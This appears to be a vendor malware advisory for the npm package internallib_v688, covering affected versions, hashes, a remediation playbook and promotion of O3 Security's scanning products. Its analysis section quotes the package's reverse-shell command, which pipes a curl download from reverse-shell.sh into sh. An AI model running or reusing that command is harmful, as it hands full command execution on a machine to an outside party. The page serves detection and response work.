Which versions of internallib_v688 are malicious?

The following npm versions of internallib_v688 are flagged malicious: 1.0.1, 1.0.2, 1.0.3. Treat any of these as compromised.

How do I remediate internallib_v688 if I installed it?

internallib_v688 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed internallib_v688 — how do I know if it already compromised me?

If internallib_v688 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is internallib_v688 part of a known attack campaign?

Yes — internallib_v688 is associated with the GHSA-jvmj-rg3h-c654, IN-MAL-2026-011069, IN-MAL-2026-011055, IN-MAL-2026-013270 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find internallib_v688 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v688 (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v688 across your stack and pipelines.

Malicious package

internallib_v688npm

internallib_v688 is a confirmed malicious npm package (MAL-2026-11517) that opens a backdoor for remote access (malicious versions 1.0.1, 1.0.2, 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v688 (npm)

MAL-2026-11517

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v688

What this malware does

The package's main module exports a command() function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a reverse-shell payload from reverse-shell.sh and piping it into sh. Invoking the exported function establishes an outbound interactive shell from the installer's host to 10.0.64.141:443, giving a remote party full command execution on the machine that loads and calls this library. The package's advertised purpose does not require shell execution or outbound connections; the hardcoded internal-range IP and reverse-shell.sh payload generator are characteristic of a backdoor/RCE implant rather than legitimate functionality.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

3 flagged

1.0.11.0.21.0.3

Indicators of compromise (SHA-256)

24366cd8d9efeba97d11b7059bf78a4aa103535133170742963ed6b57e4609b0

161660f8db18308a3024f6ab636b21fccbb248da6b0ee179d9f49d7324907046

f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811

d96503fafbb045ce40ad22021f4d8aa865b7f8bc187b4fdda5351e08e0ce4e9c

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v688 (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v688 across your stack and pipelines.
If you installed it — respond
internallib_v688 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v688 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v688 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. internallib_v688 on npm has been identified as a malicious package (versions 1.0.1, 1.0.2, 1.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-jvmj-rg3h-c654IN-MAL-2026-011069IN-MAL-2026-011055IN-MAL-2026-013270

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v688-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database